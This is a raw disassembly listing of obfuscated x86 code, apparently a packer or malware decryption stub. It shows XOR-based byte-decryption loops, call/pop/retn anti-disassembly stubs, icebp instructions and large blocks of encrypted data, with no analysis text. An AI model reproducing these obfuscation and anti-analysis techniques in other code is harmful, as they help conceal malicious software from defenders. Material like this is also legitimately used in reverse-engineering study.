		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CE52B
		jmp	short loc_5CE57C
; ---------------------------------------------------------------------------


loc_5CE546:				; CODE XREF: sdfs____:005CE55Dj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CE546
		jmp	short loc_5CE57C
; ---------------------------------------------------------------------------


loc_5CE561:				; CODE XREF: sdfs____:005CE578j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CE561
		jmp	short $+2


loc_5CE57C:				; CODE XREF: sdfs____:005CE544j
					; sdfs____:005CE55Fj
		mov	eax, eax
		sub	[ebp+7E908E1h],	edi
		sbb	bl, 0CAh
		cmp	dword ptr [ebp+7E922B1h], 3
		jnz	loc_5CE9DE
		mov	[ebp+7E92A69h],	esi
		cmp	dword ptr [ebp+7ECD785h], 0
		jz	loc_5CE9DE
		mov	[ebp+7E92B51h],	edi
		push	dword ptr [ebp+7ECD785h]
		sub	edi, 0A65D0ECh
		call	dword ptr [ebp+7E91349h]
		push	0
		push	ebp
		call	sub_5CE5CA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE5CA	proc near		; CODE XREF: sdfs____:005CE5C2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CE5CA	endp

; ---------------------------------------------------------------------------
		dw 0E7B3h
		dd 8E904h, 0AA560000h, 7A9895E7h, 0B58B677Bh, 7ECD779h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 4FC35242h
		dd 106C733h, 6A000100h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 7D7CC352h, 46B5AEF6h
		dd 0D3813112h, 2008A77Fh, 2D499D8Bh, 665007E9h,	3489FB8Bh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 79154909h, 3DC8AC04h, 85B5FFB1h,	6A07ECD7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 215FC355h, 0C5503293h, 95FF8AAEh,	7E91AB1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4BC35646h
		dd 0E9FBF09Ah, 7, 9537D659h, 8B4A6968h,	0ECD779B5h, 5E807h
		dd 896F0000h, 60B615E4h, 13918589h, 0B52B07E9h,	7E90B81h
		dd 858B5B61h, 7E92449h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0E6C35747h, 91559EE0h, 10915EDDh, 0C48689C3h
		dd 0E9000000h, 8, 0EB4C5AD7h, 875C60DDh, 8B33F780h, 0E9320D95h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 2C10B401h, 27E78065h, 8904C283h,	0E909E585h
		dd 20508907h, 58D89h, 0B58907E9h, 7E9011Dh, 0ECA1858Dh
		dd 6A07ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 8FE2DCC3h, 8B3446AFh, 0E919D59Dh,	719D8B07h
		dd 8907E92Ch, 0B886h, 1CBF6600h, 1006A10h, 0E92631B5h
		dd 85B5FF07h, 0F07ECD7h, 82h, 0CD95FF00h, 6A07E902h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 9606C355h, 50FE8B66h, 8C0Fh,	6A960000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 927EC353h
		dd 7D83D3C8h, 0DE963h, 0FAF80000h, 0F5960F8Ah, 5DDF4726h
		dd 0FF0D107Bh, 0ECD785B5h, 178A0F07h, 0E8000000h, 5, 5785AA7Ch
		dd 7E9AEh, 222F0000h, 0C6CF94BAh, 95FF5F9Bh, 7E9302Dh
		dd 2B659D8Bh, 0BD8307E9h, 7E91EC9h, 6C840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 9E1FC350h, 0FDF6CDAh, 0E950DEBFh,	7, 41FBEB6h
		dd 89060F7Ah, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0D85601C3h, 14E9269Dh, 26000000h
		dd 1405D029h, 94042176h, 0D71404A1h, 4DB4DC75h,	0FFA56F8Ch
		dd 0ECD785B5h, 3AEB8107h, 0FF536B2Eh, 0E91F9D95h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 9A821231h, 4357C021h, 8F0F9F49h, 6, 16298529h, 0B5FF07E9h
		dd 7ECD785h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0A4C35545h, 2B081407h, 14E957h,	845A0000h, 9DD85601h
		dd 80197F26h, 2F3081B4h, 6B8341E0h, 0FF5FAA74h,	0E9013995h
		dd 83FE8B07h, 0E929CDBDh, 840F0207h, 57h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 55C35040h, 69BD8B54h
		dd 8B07E907h, 0E9087585h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 38C3B962h
		dd 736A02h, 0C65A3Fh, 0FDBD8900h, 0C707E911h, 0E924AD85h
		dd 7, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0EF816686h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		icebp


loc_5CE9DE:				; CODE XREF: sdfs____:005CE58Ej
					; sdfs____:005CE5A1j
		jmp	near ptr dword_5CD934+3DDh
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5CE9EE
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE9EE	proc near		; CODE XREF: sdfs____:005CE9E6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5CE9EE	endp

; ---------------------------------------------------------------------------
		dw 0F65Bh
; ---------------------------------------------------------------------------
		mov	[esi+54h], gs
		clc
		pusha
		or	[ebp+7E93479h],	ebx
		mov	bx, 98D0h
		popa
		mov	eax, ecx
		mov	ebx, [ebp+7E91B19h]
		lea	eax, [ebp+7E90861h]
		mov	[ebp+7E92C69h],	ebx
		push	eax
		mov	[esp], eax
		push	0
		push	edx
		call	sub_5CEA33
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEA33	proc near		; CODE XREF: sdfs____:005CEA2Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CEA33	endp

; ---------------------------------------------------------------------------
		popf
		mov	byte ptr [ecx+17h], 8Ah
		cmp	bh, [esi+5Ch]
		lds	ecx, [edi]
		mov	word ptr ds:53000000h, es
		movzx	edi, bx
		pop	ebx
		push	0
		mov	[ebp+7E91B55h],	ebx
		push	0
		push	0
		push	eax
		call	sub_5CEA6C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEA6C	proc near		; CODE XREF: sdfs____:005CEA64p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5CEA6C	endp

; ---------------------------------------------------------------------------
		xor	al, 0BFh
		cmp	al, 0A0h
		mov	[ebp+7E92C81h],	ecx


loc_5CEA86:				; CODE XREF: sdfs____:005CEAB0j
		lea	eax, [ebp+7EDAEEDh]
		push	0
		push	edi
		call	sub_5CEA97
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEA97	proc near		; CODE XREF: sdfs____:005CEA8Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5CEA97	endp

; ---------------------------------------------------------------------------
		push	eax
		pop	eax
		xchg	eax, esp
		xchg	eax, ebp
		call	sub_5CEABE
		jno	short loc_5CEA86
		imul	dword ptr [ecx-51h]
		mov	al, 1Fh
		mov	byte ptr [ebx+49h], 57h
		sub	ch, 0D7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5CEABE	proc near		; CODE XREF: sdfs____:005CEAABp
		jmp	sub_5CEACC
sub_5CEABE	endp

; ---------------------------------------------------------------------------
		adc	eax, 376C7246h
		pop	ebx
		db	36h
		push	esi
		aaa

; =============== S U B	R O U T	I N E =======================================



sub_5CEACC	proc near		; CODE XREF: sub_5CEABEj
		pop	ebx
		call	sub_5CEADA
		popf
		aas
		adc	[ebp+7Ah], edx
		push	ss
		and	al, 96h
sub_5CEACC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5CEADA	proc near		; CODE XREF: sub_5CEACC+1p
		jmp	sub_5CEAF2
sub_5CEADA	endp

; ---------------------------------------------------------------------------
		db 0A1h
; ---------------------------------------------------------------------------
		jmp	fword ptr cs:[esi-3Bh]
; ---------------------------------------------------------------------------
		dd 803D51BCh, 0D90A7DE8h, 1DA51D68h
		db 40h,	0A1h

; =============== S U B	R O U T	I N E =======================================



sub_5CEAF2	proc near		; CODE XREF: sub_5CEADAj
		pop	ebx
		add	eax, 5
		push	0
		push	ebx
		call	sub_5CEB01
		and	[ebx-3Dh], bl
sub_5CEAF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CEB01	proc near		; CODE XREF: sub_5CEAF2+7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5CEB01	endp

; ---------------------------------------------------------------------------
		push	ss
		mov	eax, ds:7C00BAF6h
		cli
		push	es
		add	byte ptr [esi],	53h
		mov	[ebp+7E902A5h],	eax
		pop	edi
		nop
		mov	di, si
		push	eax
		nop
		push	0
		push	ebp
		call	sub_5CEB34
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEB34	proc near		; CODE XREF: sdfs____:005CEB2Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5CEB34	endp

; ---------------------------------------------------------------------------
		dd 5B4B4h, 0F3BEC291h, 0FE9h, 0A080C500h, 810E9CC0h, 95A09BCAh
		dd 8608892Bh, 13E8F9h, 0D61A0000h, 0D232B532h, 914BFA1Bh
		dd 1C009AFBh, 0E2FF921Fh, 75BD8BE0h, 5F07E909h,	6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 367551C3h, 0BD09C8F8h, 7E93535h, 0AADB531h, 6A07E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 7EC35040h
		dd 0FB995FFh, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 3B824DC3h, 7ECF8166h, 8D18B3DBh
		dd 0ECD72C8Dh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0A1895216h, 0F98A5667h
		dd 23D1FF5Bh, 0E90F559Dh, 69BD8307h, 107E91Bh, 71850Fh
		dd 9D8B0000h, 7E912F5h,	6A026Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 437EABC3h, 0BABF42E6h
		dd 0F8BF778Fh, 502ED192h, 489D88Bh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0D966A6C4h
		dd 3B26919Ch, 5E9BBh, 0F6EE0000h, 0FF42CCD9h, 0E902CD95h
		dd 9D9D8907h, 0E907E901h, 0C8Fh, 0E8h, 0ED815D00h, 7EDAEF7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 94C35646h
		dd 68E0FF5h, 8B000000h,	0E91ACDBDh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 9CC7FF9Dh
		dd 1FFFA547h, 0BF0F175Fh, 18C0FD9h, 0F5000000h,	0B406858Dh
		dd 6A07ECh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 3BE85EC3h, 5050EC55h, 0FDF8B52h, 3FBF6631h
		dd 89585A9Bh, 8B662404h, 35FF64DEh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5CED5B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CED5B	proc near		; CODE XREF: sdfs____:005CED53p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5CED5B	endp

; ---------------------------------------------------------------------------
		icebp
		ffreep	st(7)
		mov	esp, 643DCADBh
		mov	large ds:0, esp
		push	0
		push	ecx
		call	sub_5CED84
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CED84	proc near		; CODE XREF: sdfs____:005CED7Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5CED84	endp

; ---------------------------------------------------------------------------
		dd 64A044C4h, 12800FC0h, 0E9000000h, 0Dh, 0F1FCCCF3h, 0FE55FDE3h
		dd 0B41A749Bh, 85FFF593h, 7E90F9Dh, 0CE8h, 322EAA00h, 472AEFDh
		dd 8C6525AFh, 8D895687h, 7E90801h, 0FF6A5F5Bh, 0C9B58951h
		dd 5B07E930h, 29A5B5FFh, 860F07E9h, 3, 0FFFE8B66h, 0E9233D95h
		dd 0D9E907h, 0B5890000h, 7E9354Dh, 9D0B00B0h, 7E907D9h
		dd 0BD2B70E6h, 7E91B55h, 816671E4h, 3CC635C3h, 0B4830F61h
		dd 89000000h, 0E9099D8Dh, 0C8B60F07h, 0BAD98B66h, 6, 0BE9h
		dd 0A2596600h, 0CC551BC3h, 0C42D5BEh, 0BD8BC18Bh, 7E916E9h
		dd 0F04E8C1h, 0F766FFBFh, 0D98B66E2h, 8B66C82Bh, 9D18BDFh
		dd 0E930619Dh, 5E907h, 66570000h, 8B5BD88Bh, 0E9311985h
		dd 68A0F07h, 89000000h,	0E9256D85h, 7C08307h, 0CDB50151h
		dd 5B07E90Ah, 6600C083h, 0D03BFE8Bh, 0B830Fh, 38E90000h
		dd 89000000h, 0E900B59Dh, 5D8D8B07h, 0B307E91Eh, 1E18342h
		dd 21840Fh, 0B5890000h,	7E93049h, 1E5DA583h, 8BFE07E9h
		dd 0E924A59Dh, 19958907h, 6607E931h, 0E9F88Bh, 8D000000h
		dd 0ED1DC8B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 2725613Eh, 2EFDB280h
		dd 9D8B5643h, 7E90191h,	6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 88D5BCC3h, 15606CD5h
		dd 3195FF5Ah, 6A07E90Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 519BC353h, 81DAC781h
		dd 0B95B05B5h, 8A1h, 79F38166h,	0FCE1833Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 32C35343h, 0B86B47B2h
		dd 0E6CB80CCh, 4FB5BF66h, 0CACB81FCh, 2B3D8FCCh, 0B1F381C0h
		dd 2B14446Ah, 5DBF66D2h, 0C233AD63h, 0D003E8D1h, 7504E983h
		dd 56006AF4h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 5C374A2h, 4EBBAC65h, 0D424BFBDh,	6A148Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 85D34AC3h, 0DF98A26h, 88h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 6DC35040h, 0CB23B46Ah, 0BD293B69h
		dd 7E90F75h, 320D958Bh,	6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 797F46C3h, 79F41F6Eh
		dd 22E58D8Bh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F9E294C3h, 4860Fh, 0BB660000h
		dd 8B50B0CEh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0EE8h, 0C23E7000h, 0A704AAF5h, 7B9570F6h, 0E9C86428h
		dd 6, 0D122648Ah, 835F1115h, 0E91C2DBDh, 840F0007h, 54h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C5C35242h
		dd 0B8h, 0BD8B5300h, 7E908F5h, 5A8D8D5Fh, 907E94Dh, 0E90C9185h
		dd 13E907h, 0D5840000h,	0BD181080h, 39CD7813h, 67A3BA6Bh
		dd 6BAB2107h, 66E1FF7Ch, 0A996F781h, 22B1BD83h,	0F0007E9h
		dd 44784h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1904h, 0C3504000h, 0D4C7076Dh, 0F98B10FDh, 22B1BD83h
		dd 0F0107E9h, 43284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0A159B7F3h, 0D2D8217h
		dd 8B56AE52h, 0E913899Dh, 0BD835F07h, 7E922B1h,	0C2860F03h
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 60B4C357h, 0E2B182B9h,	398D8B66h
		dd 6107E92Ch, 0EE8h, 6C96900h, 68AF9117h, 21AF0083h, 8995E0C3h
		dd 0E923E185h, 8B605F07h, 0E923719Dh, 0D98C6607h, 0D3C737BBh
		dd 4E1802Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	8BC35545h, 37BF5044h, 5F5D2315h, 7D858960h, 6607E913h
		dd 7AF2F681h, 0FC90A61h, 11984h, 0A1958900h, 8B07E923h
		dd 0E90C5585h, 5E907h, 4FF10000h, 339CC92Fh, 0E91CE985h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 3D08260Ch, 8FB3E071h, 319D8B56h,	6607E903h
		dd 0DF37F781h, 3800Fh, 0CB800000h, 0BB669083h, 0E8501337h
		dd 11h,	0D39F0C07h, 0D078A008h,	163F6C3Ah, 2EB997D7h, 58B0FC7h
		dd 0BB000000h, 4187F5A7h, 8E0F905Bh, 6,	1DF9BD89h, 0BD8B07E9h
		dd 7E92AC5h, 0E380006Ah, 73316848h, 8E91F08h, 0E6000000h
		dd 0B6D62682h, 8191082Ah, 70CE2434h, 6A1F17h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 13E812C3h
		dd 0D2000000h, 82FDFEDFh, 0A27D100Bh, 0DECB72FFh, 0BDC82CC5h
		dd 5BF52F43h, 2D995FFh,	6A07E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 611314C3h, 8589F060h
		dd 7ECD785h, 0FEB8166h,	175E945h, 858B0000h, 7ECD77Dh
		dd 0AE9h, 5ED4D200h, 608722CAh,	811ACAA6h, 0BB2267D3h
		dd 1800C740h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 202FC356h, 8BEF4897h
		dd 0ECD781B5h, 75BD8907h, 0F07E923h, 858BD9BFh,	7E91859h
		dd 6800Fh, 0BD8B0000h, 7E90141h, 6A0689h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 66E03DC3h
		dd 94AED381h, 0C059D33h, 858B07E9h, 7E90C55h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 91C35747h, 6B980CF2h
		dd 0BBB7BC6Bh, 335BD8Bh, 468907E9h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 434BDC92h
		dd 9678F75Dh, 60525050h, 0B5E8B966h, 50310F61h,	0B806BF52h
		dd 310F67DAh, 0AE9h, 0E7521C00h, 6E57458Dh, 5AA3A12Dh
		dd 96585A58h, 0D77DB5FFh, 9D8B07ECh, 7E92A21h, 7D605168h
		dd 240481E3h, 1CA1A3AEh, 0ED19D29h, 858D07E9h, 7ECD785h
		dd 6E9h, 68387900h, 893F0E72h, 0E92EB99Dh, 0BB665007h
		dd 489EBC9h, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 293429E2h, 0E908158Dh, 0D995FF07h
		dd 6607E902h, 6118DABFh, 38C0Fh, 8B660000h, 0B185C7FAh
		dd 307E922h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0A9CFC351h,	6E9h, 0DABA5000h
		dd 509C4440h, 1191BD89h, 835B07E9h, 0ECD785BDh,	840F0007h
		dd 55h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 36C35141h, 0F8A0882Ah, 0E3EBAA02h, 46E9FFh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 134694C3h, 772B0B9Bh, 89C2CEB9h, 0E91D7195h,	0C305007h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	1BE98D29h
		dd 8B6607E9h, 57006AF8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 7AEB82Dh,	2F4BE88Eh, 0BD8317B3h
		dd 7E922B1h, 35850F03h,	6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 37F4C350h
		dd 0BF0F60D3h, 85BD83D8h, 7ECD7h, 306840Fh, 9D890000h
		dd 7E91325h, 0D785B5FFh, 858907ECh, 7E902D5h, 134995FFh
		dd 0BD0307E9h, 7E920EDh, 0D779B58Bh, 6A07ECh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 1EC72C3h
		dd 0FD8765EEh, 39F9BB52h, 0C75B21C0h, 1000106h,	9642B300h
		dd 0C68A6050h, 6A9661h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 4349AFC3h, 852963DBh, 7E921FDh
		dd 0D785B5FFh, 6A07ECh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0AB5911C3h, 90B7E403h, 0FEB70F38h
		dd 1AB195FFh, 0B58B07E9h, 7ECD779h, 11659D01h, 858B07E9h
		dd 7E92449h, 830F52h, 5B000000h, 0C48689h, 0DF810000h
		dd 53207602h, 320D958Bh, 0FA8B07E9h, 8B04C283h,	205089FAh
		dd 0AE8h, 11E32500h, 0CA10C71h,	8BC293F1h, 0E92A399Dh
		dd 858D5F07h, 7ECECA1h,	8E8h, 5117C600h, 5ACEF06h, 0AD8529C8h
		dd 5F07E934h, 0B88689h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0B1C71AC3h, 6AA11173h
		dd 0FF5F5600h, 0ECD785B5h, 11E95007h, 0EC000000h, 61148EBBh
		dd 0DF54A3h, 0D21441EBh, 24B00EFDh, 0B99D0B5Fh,	0FF07E92Eh
		dd 0E902CD95h, 0DDC3BB07h, 60503094h, 870Fh, 0DF8B0000h
		dd 24348961h, 1D88B60h,	0E919E995h, 0B5FF6107h,	7ECD785h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F7C35242h
		dd 8CE43A18h, 70318574h, 2D95FF86h, 6007E930h, 61C7B70Fh
		dd 1EC9BD83h, 0F0007E9h, 4584h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 342C22Dh, 5013B396h
		dd 0D667E1BFh, 10E8963Dh, 77000000h, 0DF31FA99h, 3969E907h
		dd 2F0BCF0Fh, 3834F15h,	0E919A19Dh, 0B5FF5B07h,	7ECD785h
		dd 19E99D31h, 95FF07E9h, 7E91F9Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 58C35343h, 8410BC4Eh, 0B5FF3407h
		dd 7ECD785h, 20870Fh, 14E80000h, 0B8000000h, 0DF0FC9F0h
		dd 8017BF15h, 42AD17C2h, 9F2272F4h, 899378A9h, 0E934699Dh
		dd 95FF5F07h, 7E90139h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 8C35242h, 0F781665Eh,	83F94D83h, 0E929CDBDh
		dd 840F0207h, 4Ch, 75858BF9h, 6A07E908h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0CFB3C357h
		dd 818589EFh, 0C607E92Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 73FD89C3h, 24AD85C7h
		dd 7E9h, 85890000h, 7E90801h, 0FFF4CDE9h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 58D2708h, 0DCADA1CFh, 999D334Ch, 107E921h, 0E9000D8Dh
		dd 66C18B07h, 8DAF63BFh, 0E9086185h, 0CF806007h, 0C99D297Ah
		dd 6107E920h, 8E890h, 20EC0000h, 4D9DA96Ah, 8B6605DBh
		dd 0BB505FF8h, 5DFD1A3h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0C38DDB3h, 0CA4D325Eh
		dd 0B589527Fh, 7E92A5Dh, 6A006A5Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0AE85C350h
		dd 3A5E444Ah, 12E92AEAh, 1E000000h, 928AFFAAh, 0EF6BEC7Ch
		dd 9AFEF23Bh, 0FCD08AB5h, 6A006A95h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3A43C351h
		dd 0E821409Dh, 0Ah, 6C6AB5FAh, 1C4898Fh, 665BC796h, 0B3A1C7BBh
		dd 0F9858DCEh, 6A07EDBDh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 3FBAC351h, 6E85B54h
		dd 84000000h, 0E8DE6406h, 42D780BBh, 0CECB805Bh, 6605C083h
		dd 0E990DA8Bh, 0Dh, 0C61873E2h,	0F0F798Eh, 3C36D145h, 525050C9h
		dd 8ABF5250h, 0F1FF05Ch, 0F525031h, 5A585A31h, 0F310F58h
		dd 83h,	90585A00h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 2C35141h, 6A5C02h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 55C35040h, 5750146Fh, 9E87353h
		dd 63000000h, 0E62BCC50h, 302468FAh, 6A5BDE8Bh,	14E900h
		dd 0E0900000h, 0C924DF98h, 0E212510Bh, 19569035h, 0EDDE2359h
		dd 95FF2F1Bh, 7E90FB9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 88C35242h, 0D88BC9D2h, 29999D29h, 8D8D07E9h
		dd 7ECD72Ch, 1FA19D89h,	0D1FF07E9h, 0EBEF31BFh,	69BD833Ch
		dd 107E91Bh, 85850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0FA6C87C3h, 691EEA96h
		dd 0B5297A90h, 7E9137Dh, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 2F6E49C3h, 0B70F56BEh
		dd 0F38166FEh, 6690D62Eh, 6050FB8Bh, 0E860DD8Ah, 14h, 71D021Dh
		dd 67835DB7h, 2C2AB227h, 0A8BDB7E7h, 43FAE3B8h,	46BE665Eh
		dd 906161E3h, 2CD95FFh,	0E9F907E9h, 0CE5h, 0E8h, 0ED815D00h
		dd 7EDBE03h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	5CC35040h, 79223CA1h, 6E9B88EBh, 0A1EF8166h, 53006AA3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0C3C0CD89h, 6830F71h, 89000000h, 0E922F18Dh,	0DB816607h
		dd 858D0539h, 7ECB406h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0C0C35545h, 8C06DCDFh, 0E909A99Eh, 12h
